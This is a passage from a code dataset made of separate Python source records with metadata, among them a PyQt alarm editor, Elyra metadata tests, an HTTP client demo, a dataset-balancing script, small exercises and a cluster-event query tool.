self.__wednesdayCheckbox = QCheckBox(self)\n self.__wednesdayCheckbox.setGeometry(220, 200, 100, 50)\n self.__wednesdayCheckbox.setText(\"Wednesday\")\n self.__wednesdayCheckbox.setChecked(Alarm.WEDNESDAY in self.alarm.getWeekdays())\n\n self.__thursdayCheckbox = QCheckBox(self)\n self.__thursdayCheckbox.setGeometry(330, 200, 100, 50)\n self.__thursdayCheckbox.setText(\"Thursday\")\n self.__thursdayCheckbox.setChecked(Alarm.THURSDAY in self.alarm.getWeekdays())\n\n self.__fridayCheckbox = QCheckBox(self)\n self.__fridayCheckbox.setGeometry(440, 200, 100, 50)\n self.__fridayCheckbox.setText(\"Friday\")\n self.__fridayCheckbox.setChecked(Alarm.FRIDAY in self.alarm.getWeekdays())\n\n self.__saturdayCheckbox = QCheckBox(self)\n self.__saturdayCheckbox.setGeometry(550, 200, 100, 50)\n self.__saturdayCheckbox.setText(\"Saturday\")\n self.__saturdayCheckbox.setChecked(Alarm.SATURDAY in self.alarm.getWeekdays())\n\n self.__sundayCheckbox = QCheckBox(self)\n self.__sundayCheckbox.setGeometry(660, 200, 100, 50)\n self.__sundayCheckbox.setText(\"Sunday\")\n self.__sundayCheckbox.setChecked(Alarm.SUNDAY in self.alarm.getWeekdays())\n\n self.__exitButton = QPushButton(self)\n self.__exitButton.setGeometry(50, 300, 100, 50)\n self.__exitButton.setText(\"Done\")\n self.__exitButton.setFont(font)\n self.__exitButton.clicked.connect(self.__exitClicked)\n\n def __hourUpClicked(self):\n hour = int(self.__hourText.text())\n if hour == 23:\n hour = 0\n else:\n hour += 1\n self.__hourText.setText(str(hour))\n \n def __hourDownClicked(self):\n hour = int(self.__hourText.text())\n if hour == 0:\n hour = 23\n else:\n hour -= 1\n self.__hourText.setText(str(hour))\n \n def __minuteUpClicked(self):\n minute = int(self.__minuteText.text())\n if minute == 59:\n minute = 0\n else:\n minute += 1\n self.__minuteText.setText(str(minute))\n \n def __minuteDownClicked(self):\n minute = int(self.__minuteText.text())\n if minute == 0:\n minute = 59\n else:\n minute -= 1\n self.__minuteText.setText(str(minute))\n\n def __exitClicked(self):\n hour = int(self.__hourText.text())\n minute = int(self.__minuteText.text())\n self.alarm.setHour(hour)\n self.alarm.setMinute(minute)\n self.alarm.getWeekdays().clear()\n\n if self.__mondayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.MONDAY)\n if self.__tuesdayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.TUESDAY)\n if self.__wednesdayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.WEDNESDAY)\n if self.__thursdayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.THURSDAY)\n if self.__fridayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.FRIDAY)\n if self.__saturdayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.SATURDAY)\n if self.__sundayCheckbox.isChecked():\n self.alarm.getWeekdays().append(Alarm.SUNDAY)\n self.close()","sub_path":"pyalarm/editwidget.py","file_name":"editwidget.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"561764747","text":"import sqlite3\n\ncon = sqlite3.connect(\"student.db\")\n\n#con.execute(\"\"\"CREATE TABLE employee(\"\n # Name text,\n # rollno integer,\n # mobile integer \")\"\"\")\n\n\n#con.commit()\ncon.execute(\"\"\"INSERT INTO employee VALUES(\"rahul\", 2345, 23445)\"\"\")\n\ncon.commit()\n\n\n","sub_path":"PythonPractice/SQLite/dbConnection.py","file_name":"dbConnection.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"202968057","text":"#\n# Copyright 2018-2020 IBM Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport copy\nimport json\nimport os\nimport shutil\nimport pytest\n\nfrom jsonschema import validate, ValidationError, draft7_format_checker\nfrom elyra.metadata import Metadata, MetadataManager, SchemaManager, METADATA_TEST_NAMESPACE\nfrom .test_utils import valid_metadata_json, invalid_metadata_json, create_json_file, get_schema\n\n\nos.environ[\"METADATA_TESTING\"] = \"1\" # Enable metadata-tests namespace\n\n# Test factory schemas.\n# Note: should we ever decide to allow folks to bring their own schemas, we'd want to expose this.\nschema_schema = {\n \"title\": \"Schema for Elyra schema.\",\n \"properties\": {\n \"name\": {\n \"description\": \"The name of the schema.\",\n \"type\": \"string\",\n \"pattern\": \"^[a-z][a-z0-9-_]*[a-z0-9]$\"\n },\n \"namespace\": {\n \"description\": \"The namespace corresponding to the schema and its instances.\",\n \"type\": \"string\",\n \"pattern\": \"^[a-z][a-z0-9-_]*[a-z0-9]$\"\n },\n \"properties\": {\n \"type\": \"object\",\n \"propertyNames\": {\n \"enum\": [\"schema_name\", \"display_name\", \"metadata\"]\n },\n \"additionalProperties\": True\n }\n },\n \"required\": [\"name\", \"namespace\", \"properties\"]\n}\n\n\ndef test_validate_factory_schemas():\n # Test that each of our factory schemas meet the minimum requirements.\n namespace_schemas = SchemaManager.load_namespace_schemas()\n for namespace, schemas in namespace_schemas.items():\n for name, schema in schemas.items():\n print(\"Validating schema '{namespace}/{name}'...\".format(namespace=namespace, name=name))\n validate(instance=schema, schema=schema_schema, format_checker=draft7_format_checker)\n\n\n# ########################## MetadataManager Tests ###########################\ndef test_manager_add_invalid(tests_manager, data_dir):\n\n with pytest.raises(ValueError):\n MetadataManager(namespace='invalid')\n\n # Attempt with non Metadata instance\n with pytest.raises(TypeError):\n tests_manager.add(invalid_metadata_json)\n\n # and invalid parameters\n with pytest.raises(ValueError):\n tests_manager.add(None, invalid_metadata_json)\n\n with pytest.raises(ValueError):\n tests_manager.add(\"foo\", None)\n\n\ndef test_manager_list_summary(tests_manager):\n metadata_summary_list = tests_manager.get_all_metadata_summary(include_invalid=False)\n assert len(metadata_summary_list) == 2\n metadata_summary_list = tests_manager.get_all_metadata_summary(include_invalid=True)\n assert len(metadata_summary_list) == 3\n\n\ndef test_manager_list_all(tests_manager):\n metadata_list = tests_manager.get_all()\n assert len(metadata_list) == 2\n # Ensure name is getting derived from resource and not from contents\n for metadata in metadata_list:\n if metadata.display_name == \"Another Metadata Instance (2)\":\n assert metadata.name == \"another\"\n else:\n assert metadata.name == \"valid\"\n\n\ndef test_manager_list_summary_none(tests_manager, metadata_tests_dir):\n # Delete the metadata dir contents and attempt listing metadata\n shutil.rmtree(metadata_tests_dir)\n assert tests_manager.namespace_exists() is False\n os.makedirs(metadata_tests_dir)\n assert tests_manager.namespace_exists()\n\n metadata_summary_list = tests_manager.get_all_metadata_summary()\n assert len(metadata_summary_list) == 0\n\n\ndef test_manager_list_all_none(tests_manager, metadata_tests_dir):\n # Delete the metadata dir contents and attempt listing metadata\n shutil.rmtree(metadata_tests_dir)\n assert tests_manager.namespace_exists() is False\n os.makedirs(metadata_tests_dir)\n assert tests_manager.namespace_exists()\n\n metadata_list = tests_manager.get_all()\n assert len(metadata_list) == 0\n\n\ndef test_manager_add_remove_valid(tests_manager, metadata_tests_dir):\n metadata_name = 'valid_add_remove'\n\n metadata = Metadata(**valid_metadata_json)\n\n resource = tests_manager.add(metadata_name, metadata)\n assert resource is not None\n\n # Ensure file was created\n metadata_file = os.path.join(metadata_tests_dir, 'valid_add_remove.json')\n assert os.path.exists(metadata_file)\n\n with open(metadata_file, 'r', encoding='utf-8') as f:\n valid_add = json.loads(f.read())\n assert \"resource\" not in valid_add\n assert \"name\" not in valid_add\n assert \"display_name\" in valid_add\n assert valid_add['display_name'] == \"valid metadata instance\"\n assert \"schema_name\" in valid_add\n assert valid_add['schema_name'] == \"metadata-test\"\n\n # Attempt to create again w/o replace, then replace it.\n resource = tests_manager.add(metadata_name, metadata, replace=False)\n assert resource is None\n\n resource = tests_manager.add(metadata_name, metadata)\n assert resource is not None\n\n # And finally, remove it.\n resource = tests_manager.remove(metadata_name)\n\n assert not os.path.exists(metadata_file)\n assert resource == metadata_file\n\n\ndef test_manager_remove_invalid(tests_manager, metadata_tests_dir):\n # Ensure invalid metadata file isn't validated and is removed.\n create_json_file(metadata_tests_dir, 'remove_invalid.json', invalid_metadata_json)\n metadata_name = 'remove_invalid'\n resource = tests_manager.remove(metadata_name)\n metadata_file = os.path.join(metadata_tests_dir, 'remove_invalid.json')\n assert not os.path.exists(metadata_file)\n assert resource == metadata_file\n\n\ndef test_manager_remove_missing(tests_manager, metadata_tests_dir):\n # Ensure removal of missing metadata file is handled.\n metadata_name = 'missing'\n resource = tests_manager.remove(metadata_name)\n assert resource is None\n\n\ndef test_manager_read_valid_by_name(tests_manager, metadata_tests_dir):\n metadata_name = 'valid'\n some_metadata = tests_manager.get(metadata_name)\n assert some_metadata.name == metadata_name\n assert some_metadata.schema_name == \"metadata-test\"\n assert str(metadata_tests_dir) in some_metadata.resource\n\n\ndef test_manager_read_invalid_by_name(tests_manager):\n metadata_name = 'invalid'\n with pytest.raises(ValidationError):\n tests_manager.get(metadata_name)\n\n\ndef test_manager_read_missing_by_name(tests_manager):\n metadata_name = 'missing'\n with pytest.raises(KeyError):\n tests_manager.get(metadata_name)\n\n\n# ########################## FileMetadataStore Tests ###########################\ndef test_filestore_list_summary(filestore):\n metadata_summary_list = filestore.get_all_metadata_summary(include_invalid=False)\n assert len(metadata_summary_list) == 2\n metadata_summary_list = filestore.get_all_metadata_summary(include_invalid=True)\n assert len(metadata_summary_list) == 3\n\n\ndef test_filestore_list_all(filestore):\n metadata_list = filestore.get_all()\n assert len(metadata_list) == 2\n\n\ndef test_filestore_list_summary_none(filestore, metadata_tests_dir):\n # Delete the metadata dir contents and attempt listing metadata\n shutil.rmtree(metadata_tests_dir)\n assert filestore.namespace_exists() is False\n os.makedirs(metadata_tests_dir)\n assert filestore.namespace_exists()\n\n metadata_summary_list = filestore.get_all_metadata_summary(include_invalid=True)\n assert len(metadata_summary_list) == 0\n\n\ndef test_filestore_list_all_none(filestore, metadata_tests_dir):\n # Delete the metadata dir contents and attempt listing metadata\n shutil.rmtree(metadata_tests_dir)\n assert filestore.namespace_exists() is False\n os.makedirs(metadata_tests_dir)\n assert filestore.namespace_exists()\n\n metadata_list = filestore.get_all()\n assert len(metadata_list) == 0\n\n\ndef test_filestore_read_valid_by_name(filestore):\n metadata_name = 'valid'\n some_metadata = filestore.read(metadata_name)\n assert some_metadata.name == metadata_name\n\n\ndef test_filestore_read_invalid_by_name(filestore):\n metadata_name = 'invalid'\n with pytest.raises(ValidationError):\n filestore.read(metadata_name)\n\n\ndef test_filestore_read_missing_by_name(filestore):\n metadata_name = 'missing'\n with pytest.raises(KeyError):\n filestore.read(metadata_name)\n\n\n# ########################## SchemaManager Tests ###########################\ndef test_schema_manager_all(schema_manager):\n schema_manager.clear_all()\n\n test_schema_json = get_schema('metadata-test')\n\n with pytest.raises(ValueError):\n schema_manager.add_schema(\"foo\", \"metadata-test\", test_schema_json)\n\n with pytest.raises(ValueError):\n schema_manager.add_schema(\"bar\", \"metadata-test\", test_schema_json)\n\n schema_manager.add_schema(METADATA_TEST_NAMESPACE, \"metadata-test\", test_schema_json)\n\n test_schema = schema_manager.get_schema(METADATA_TEST_NAMESPACE, \"metadata-test\")\n assert test_schema is not None\n assert test_schema == test_schema_json\n\n # extend the schema... add and ensure update exists...\n modified_schema = copy.deepcopy(test_schema)\n modified_schema['properties']['metadata']['properties']['bar'] = {\"type\": \"string\", \"minLength\": 5}\n\n schema_manager.add_schema(METADATA_TEST_NAMESPACE, \"metadata-test\", modified_schema)\n bar_schema = schema_manager.get_schema(METADATA_TEST_NAMESPACE, \"metadata-test\")\n assert bar_schema is not None\n assert bar_schema != test_schema_json\n assert bar_schema == modified_schema\n\n schema_manager.remove_schema(METADATA_TEST_NAMESPACE, \"metadata-test\")\n with pytest.raises(KeyError):\n schema_manager.get_schema(METADATA_TEST_NAMESPACE, \"metadata-test\")\n\n schema_manager.clear_all() # Ensure test schema has been restored\n test_schema = schema_manager.get_schema(METADATA_TEST_NAMESPACE, \"metadata-test\")\n assert test_schema is not None\n assert test_schema == test_schema_json\n","sub_path":"elyra/metadata/tests/test_metadata.py","file_name":"test_metadata.py","file_ext":"py","file_size_in_byte":10375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"237109254","text":"from os import path\nimport subprocess\nimport anndata as ad\n\npar = {\n \"input_mod1\": \"resources_test/joint_embedding/test_resource.mod1.h5ad\",\n \"input_mod2\": \"resources_test/joint_embedding/test_resource.mod2.h5ad\",\n \"output\": \"output.h5ad\",\n}\n\nprint(\"> Running method\")\nout = subprocess.check_output([\n \"./\" + meta['functionality_name'],\n \"--input_mod1\", par['input_mod1'],\n \"--input_mod2\", par['input_mod2'],\n \"--output\", par['output']\n]).decode(\"utf-8\")\n\nprint(\"> Checking whether output files were created\")\nassert path.exists(par['output'])\n\nprint(\"> Reading h5ad files\")\ninput_mod1 = ad.read_h5ad(par['input_mod1'])\noutput = ad.read_h5ad(par['output'])\n\nprint(\"> Checking contents of output.h5ad\")\nassert output.uns['dataset_id'] == input_mod1.uns['dataset_id']\nassert output.uns['method_id'] == meta['functionality_name']\nassert output.n_obs == input_mod1.n_obs\nassert output.n_vars >= 1\nassert output.n_vars <= 100\nassert all(output.obs_names == input_mod1.obs_names)\n\nprint(\"> Test succeeded!\")","sub_path":"src/joint_embedding/unit_tests/test_method.py","file_name":"test_method.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"157813872","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# program 21 :\n\n# A robot moves in a plane starting from the original point (0,0).\n# The robot can move toward UP, DOWN, LEFT and RIGHT with a given steps.\n# The trace of robot movement is shown as the following:\n# UP 5\n# DOWN 3\n# LEFT 3\n# RIGHT 2\n\n# The numbers after the direction are steps. Please write a program\n# to compute the distance from current position after a sequence\n# of movement and original point. If the distance\n# is a float, then just print the nearest integer.\n\n# Example:\n# If the following tuples are given as input to the program:\n# UP 5\n# DOWN 3\n# LEFT 3\n# RIGHT 2\n# Then, the output of the program should be:\n# 2\n\n# Hints:\n# In case of input data being supplied to the question, it should be\n# assumed to be a console input.\n\nimport math\n\npos = [0, 0]\nwhile True:\n s = input('''Enter a Input for UP/DOWN/LEFT/RIGHT:\nFirst Input for UP = UP 5, Second Input for DOWN = DOWN 3, \nThird Input for LEFT = LEFT 3, Fourth Input for RIGHT = RIGHT 2:-\\n''')\n if not s: # Keep s blank After All 4 Input\n break\n movement = s.split(\" \")\n\n direction = movement[0] # UP/DOWN/LEFT/RIGHT\n steps = int(movement[1]) # Corresponding Value\n if direction == \"UP\":\n pos[1] += steps\n elif direction == \"DOWN\":\n pos[1] -= steps\n elif direction == \"LEFT\":\n pos[0] -= steps\n elif direction == \"RIGHT\":\n pos[0] += steps\n else:\n pass\nprint(pos[0], pos[1])\nprint(int(round(math.sqrt(pos[0] ** 2 + pos[1] ** 2))))\n","sub_path":"set1/dbu_program021.py","file_name":"dbu_program021.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"584323327","text":"import csv\r\n\r\ndataSet1=[]\r\ndataSet2=[]\r\n\r\nwith open (\"final-webScraping.csv\",\"r\")as f:\r\n csvReader=csv.reader(f)\r\n for row in csvReader:\r\n dataSet1.append(row)\r\n\r\nheaders1=dataSet1[0]\r\nplanet_data1=dataSet1[1:]\r\n\r\nwith open (\"sortedData.csv\",\"r\")as f:\r\n csvReader=csv.reader(f)\r\n for row in csvReader:\r\n dataSet2.append(row)\r\n\r\nheaders2=dataSet2[0]\r\nplanet_data2=dataSet2[1:]\r\n\r\nheaders=headers1+headers2\r\nplanet_data=[]\r\n\r\nfor index, dataRow in enumerate(planet_data1):\r\n planet_data.append(planet_data1[index]+planet_data2[index])\r\n\r\nwith open(\"finalData.csv\",\"a+\")as f:\r\n csvWriter=csv.writer(f)\r\n csvWriter.writerow(headers)\r\n csvWriter.writerows(planet_data)","sub_path":"final-pre_processed.py","file_name":"final-pre_processed.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"313156422","text":"'''\nCreated on 2015/8/27\n\n:author: hubo\n'''\nfrom __future__ import print_function\nfrom vlcp.server import Server\nfrom vlcp.event import RoutineContainer, Stream, TcpServer, MemoryStream, Client\nfrom vlcp.protocol.http import Http, HttpRequestEvent, HttpConnectionStateEvent\nfrom codecs import getincrementalencoder\nimport logging\n\nhttp = Http(False)\n\nclass MainRoutine(RoutineContainer):\n def __init__(self, scheduler=None, daemon=False):\n RoutineContainer.__init__(self, scheduler=scheduler, daemon=daemon)\n def main(self):\n conn = Client('tcp://www.baidu.com/', http, self.scheduler)\n conn.start()\n connected = http.statematcher(conn, HttpConnectionStateEvent.CLIENT_CONNECTED, False)\n notconnected = http.statematcher(conn, HttpConnectionStateEvent.CLIENT_NOTCONNECTED, False)\n yield (connected, notconnected)\n if self.matcher is notconnected:\n print('Connect to server failed.')\n else:\n for m in http.requestwithresponse(self, conn, b'www.baidu.com', b'/', b'GET', []):\n yield m\n for r in self.http_responses:\n print('Response received:')\n print(r.status)\n print()\n print('Headers:')\n for k,v in r.headers:\n print('%r: %r' % (k,v))\n print()\n print('Body:')\n if r.stream is None:\n print('')\n else:\n try: \n while True:\n for m in r.stream.read(self, 1024):\n yield m\n print(self.data, end = '')\n except EOFError:\n pass\n print()\n for m in http.requestwithresponse(self, conn, b'www.baidu.com', b'/favicon.ico', b'GET', [], keepalive = False):\n yield m\n for r in self.http_responses:\n print('Response received:')\n print(r.status)\n print()\n print('Headers:')\n for k,v in r.headers:\n print('%r: %r' % (k,v))\n print()\n print('Body:')\n if r.stream is None:\n print('')\n else:\n for m in r.stream.read(self):\n yield m\n print('' % (len(self.data),))\n\nif __name__ == '__main__':\n logging.basicConfig()\n s = Server()\n s.scheduler.debugging = True\n s.scheduler.logger.setLevel(logging.DEBUG)\n #Http.debugging = True\n #Http._logger.setLevel(logging.DEBUG)\n http.createmessagequeue(s.scheduler)\n routine = MainRoutine(s.scheduler)\n routine.start()\n s.serve()\n \n","sub_path":"misc/testhttpclient.py","file_name":"testhttpclient.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"186073413","text":"'''\nCreated on May 16, 2015\n\n@author: tekrei\n\nChapter 9 codes from Introduction to Computation and Programming Using Python \n'''\n\ndef isSubset(L1, L2):\n for e1 in L1:\n matched = False\n for e2 in L2:\n if e1 == e2:\n matched = True\n break\n if not matched:\n return False\n return True\n\ndef intersection(L1, L2):\n tmp = []\n for e1 in L1:\n for e2 in L2:\n if e1 == e2:\n tmp.append(e1)\n # build without duplicates\n res = []\n for e in tmp:\n if not(e in res):\n res.append(e)\n return res\n\ndef getBinaryRep(n, numDigits):\n result = ''\n while n > 0:\n result = str(n % 2) + result\n n = n // 2\n if len(result) > numDigits:\n raise ValueError('not enough digits')\n for i in range(numDigits - len(result)):\n result = '0' + result\n return result\n\ndef genPowerSet(L):\n powerSet = []\n for i in range(0, 2 ** len(L)):\n binStr = getBinaryRep(i, len(L))\n subset = []\n for j in range(len(binStr)):\n if binStr[j] == '1':\n subset.append(L[j])\n powerSet.append(subset)\n return powerSet\n\nif __name__ == '__main__':\n pass\n","sub_path":"python/list_operations.py","file_name":"list_operations.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"203809890","text":"import tarfile\nimport os\nimport sys\nimport pickle\n#import tensorflow as tf\nfrom datetime import datetime\nfrom multiprocessing import Pool\n# import getopt\nfrom itertools import repeat\nimport psutil\nfrom threading import Thread\n\n\nsys.path.append('../../lib/')\nimport return_type_lib\nimport common_stuff_lib\nimport tarbz2_lib\nimport pickle_lib\nimport disassembly_lib\n#import tfrecord_lib\n\n\n\ndef proc_count(file, ret_type_dict, config):\n #ret_type_dict => 'char' = 0 'int' = 1\n \n ## build count dict\n ret_type_count = dict()\n nr = 0\n for key in ret_type_dict:\n ret_type_count[key] = 0\n \n ##count\n cont = pickle_lib.get_pickle_file_content(file)\n for item in cont:\n ret_type_count[item[1]] = ret_type_count[item[1]] + 1\n \n #print(f\"Counter >{ret_type_count}<\")\n \n return ret_type_count\n \n \ndef proc_build_balanced(pickle_files, key, minimum_ret_type_count, config):\n #print(f'build balanced')\n ### filter and store to dict the usable text,label pairs\n \n ## a dict that counts how many text,labels from one key-type we got\n ret_type_count_watcher = 1\n# nr = 0\n# for key in ret_type_counter_filtered:\n# ret_type_count_watcher[key] = 0\n \n ret_type_0 = list() \n for file in pickle_files:\n cont = pickle_lib.get_pickle_file_content(file)\n for item in cont:\n ## is the ret-type we found in our filtered list?\n #for key in ret_type_counter_filtered:\n if key == item[1]:\n #print(f'got filtered ret-type')\n if ret_type_count_watcher <= minimum_ret_type_count:\n ret_type_0.append( (item[0], item[1]) )\n ret_type_count_watcher += 1\n if ret_type_count_watcher > minimum_ret_type_count:\n break\n \n if ret_type_count_watcher > minimum_ret_type_count:\n break\n \n ### save them\n #print(f'Save balanced dataset')\n pickle_lib.save_to_pickle_file(ret_type_0, config['balanced_dataset_dir'] + str(key) + '.pickle')\n \n \n \ndef check_config(config):\n if config['base_dir'] == '':\n print(f'Please specify a base-dir (-b or --base-dir) , where all work is done. Check -h for help.')\n print()\n exit()\n \n \n if not os.path.isdir(config['balanced_dataset_dir']):\n os.mkdir(config['balanced_dataset_dir'])\n \n\ndef check_if_balanced_dir_is_empty(config):\n pickle_files = common_stuff_lib.get_all_filenames_of_type(config['balanced_dataset_dir'], '.pickle')\n \n if len(pickle_files) > 0:\n decision = 'z'\n while( (decision != 'y') and (decision != 'n' ) ):\n decision = input(f\"There are still files in >{config['balanced_dataset_dir']}< . Do you want to use them: Type in (y/n):\")\n \n print()\n if decision == 'y':\n print(f'Using files still there')\n print()\n return\n \n print(f\"Deleting files in >{config['balanced_dataset_dir']}<\")\n print()\n for file in pickle_files:\n os.remove(config['balanced_dataset_dir'] + file)\n \n \n \ndef main():\n config = common_stuff_lib.parseArgs()\n \n check_config(config)\n \n nr_of_cpus = psutil.cpu_count(logical=True)\n print(f'We got >{nr_of_cpus}< CPUs for threading')\n print()\n \n check_if_balanced_dir_is_empty(config)\n \n ret_type_dict = pickle_lib.get_pickle_file_content(config['return_type_dict_file'])\n \n ## get number of different return types\n pickle_files = common_stuff_lib.get_all_filenames_of_type(config['save_dir'], '.pickle')\n \n print(f'Building balanced dataset now')\n print()\n p = Pool(nr_of_cpus)\n \n pickle_files_save_dir = [config['save_dir'] + \"/\" + f for f in pickle_files]\n star_list = zip(pickle_files_save_dir, repeat(ret_type_dict), repeat(config))\n all_ret_types = p.starmap(proc_count, star_list)\n p.close()\n p.join()\n \n ## build count dict\n ret_type_counter = dict()\n nr = 0\n for key in ret_type_dict:\n ret_type_counter[key] = 0\n \n for counts_dict in all_ret_types:\n #print(f\"counts_dict >{counts_dict}<\")\n for counts_dict_key in counts_dict:\n #print(f\"counts_dict[counts_dict_key] >{counts_dict[counts_dict_key]}<\")\n ret_type_counter[counts_dict_key] += counts_dict[counts_dict_key]\n \n print(f\"The counts of every nr_of_arguments :\")\n for key in ret_type_counter:\n print(f\"Functions with >{key}< argument(s) exists\\t\\t\\t>{ret_type_counter[key]}< \\ttimes\")\n \n config['minimum_nr_of_return_types'] = input('Put in minimum nr of nr_of_args to build balanced dataset:')\n \n ### filter all that >= int(config['minimum_nr_of_return_types'])\n ret_type_counter_filtered = dict()\n for key in ret_type_dict:\n if ret_type_counter[key] >= int(config['minimum_nr_of_return_types']):\n ret_type_counter_filtered[key] = ret_type_counter[key]\n \n print(f\"The filtered counts (>={int(config['minimum_nr_of_return_types'])}) of every return type >{ret_type_counter_filtered}<\")\n \n ### now select int(config['minimum_nr_of_return_types']) disassemblies,labels from \n ### filter and store to dict the usable text,label pairs\n \n for key in ret_type_counter_filtered:\n print(f'build balanced with key >{key}<')\n t = Thread(target=proc_build_balanced, args=(pickle_files_save_dir, key, int(config['minimum_nr_of_return_types']), config, ))\n t.start()\n \n print(f'Run build_balanced_ret_type__vocab__seq_len.py next')\n\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"ubuntu-20-04-scripts/train_models/nr_of_arguments/build_balanced_dataset.py","file_name":"build_balanced_dataset.py","file_ext":"py","file_size_in_byte":5732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"653816987","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nGiven a linked list, swap every two adjacent nodes and return its head.\n\nFor example,\nGiven 1->2->3->4, you should return the list as 2->1->4->3.\n\nYour algorithm should use only constant space.\nYou may not modify the values in the list, only nodes itself can be changed.\n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n cur = head\n head = prev = ListNode(0)\n while cur:\n next = cur.next\n if next:\n cur, next.next = next.next, cur\n prev.next = next\n prev = prev.next.next\n prev.next = None\n else:\n prev.next = cur\n break\n return head.next\n","sub_path":"Python/24-SwapNodesInPairs/swapPairs.py","file_name":"swapPairs.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"87993108","text":"#!/usr/bin/env python3\n\n# Copyright 2014 SolidFire, Inc. All rights reserved.\n#\n# Print all the recorder events for a cluster as JSON\n# Script execution example:\n#\n# $ recorder/json_cluster_events.py --name AutoTest2-gafh -e Slice.RemoteRepUpdate -s\n# {\"utc\": \"2014-09-25T16:47:10.932327Z\", \"xClusterConfig\": {\"ClusterName\": \"Cluster2-10s0\", \"HostName\": \"VWC-EN86\"}, \"ver\": \"1.0\", \"idx\": 35,\n# \"system\": \"Cluster\", \"action\": \"Config\", \"idg\": \"4159523958044565\"}\n# {\"utc\": \"2014-09-25T16:47:11.122673Z\", \"xClusterConfig\": {\"ClusterName\": \"Cluster2-10s0\", \"HostName\": \"VWC-EN86\"}, \"ver\": \"1.0\", \"idx\": 35,\n# \"system\": \"Cluster\", \"action\": \"Config\", \"idg\": \"1685836896085882\"}\n# {\"utc\": \"2014-09-25T16:47:11.360178Z\", \"xClusterConfig\": {\"ClusterName\": \"Cluster2-10s0\", \"HostName\": \"VWC-EN86\"}, \"ver\": \"1.0\", \"idx\": 35,\n# \"system\": \"Cluster\", \"action\": \"Config\", \"idg\": \"887100319701318\"}#...\n# ...\n\nimport sys\nimport argparse\nimport sfrecorder\nfrom datetime import datetime\n\nfrom common.ioutils import DateTimeParser, OutputMode\n\n\ndef event_time(event):\n \"\"\"Convert UTC string to datetime object to allow sorting based on utc key\"\"\"\n return datetime.strptime(event['utc'], '%Y-%m-%dT%H:%M:%S.%fZ')\n\n\ndef main(args, outfile=sys.stdout):\n # Parse command line arguments\n parser = argparse.ArgumentParser(description='Query the recorder server.')\n group = parser.add_mutually_exclusive_group(required=True)\n group.add_argument('-n', '--name', help='Name of cluster such as AutoTest2-gafh', type=str)\n group.add_argument('-u', '--uuid', help='UUID of cluster such as 87a37240-7e85-43fd-b5d3-0dc5be0f084e', type=str)\n parser.add_argument('-e', '--event', help='Name of event such as GC.State', type=str, required=True)\n parser.add_argument('-s', '--sort', help='Return events sorted by time', action=\"store_true\")\n DateTimeParser.add_parser_args(parser)\n output = OutputMode(parser, outfile=outfile)\n pargs, recorder = sfrecorder.get_recorder(parser, args[1:])\n\n # Find all recorder entries with any of the idg values\n idg_list = recorder.get_cluster_idgs(pargs.name, pargs.uuid)\n events = list(recorder.database[pargs.event].find(\n spec={'idg': {'$in': idg_list}},\n fields={'_id': False, 'logsource': False, '@timestamp': False},\n exhaust=True))\n\n # Sort events based on their UTC timestamp\n if pargs.sort:\n events.sort(key=event_time)\n\n output.emit(pargs, events)\n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"matilda_scripts/recorder/json_cluster_events.py","file_name":"json_cluster_events.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"70714000","text":"from nose.tools import (\n eq_,\n set_trace,\n)\nimport datetime\nimport json\n\nfrom . import (\n DatabaseTest,\n)\n\nfrom authentication_document import AuthenticationDocument\nfrom config import Configuration\nfrom model import (\n create,\n ConfigurationSetting,\n Hyperlink,\n Library,\n Validation,\n)\nfrom opds import OPDSCatalog\n\nclass TestOPDSCatalog(DatabaseTest):\n\n def mock_url_for(self, route, uuid, **kwargs):\n \"\"\"A simple replacement for url_for that doesn't require an\n application context.\n \"\"\"\n return \"http://%s/%s\" % (route, uuid)\n\n def test_library_catalogs(self):\n l1 = self._library(\"The New York Public Library\")\n l2 = self._library(\"Brooklyn Public Library\")\n class TestAnnotator(object):\n def annotate_catalog(self, catalog_obj, live=True):\n catalog_obj.catalog['metadata']['random'] = \"Random text inserted by 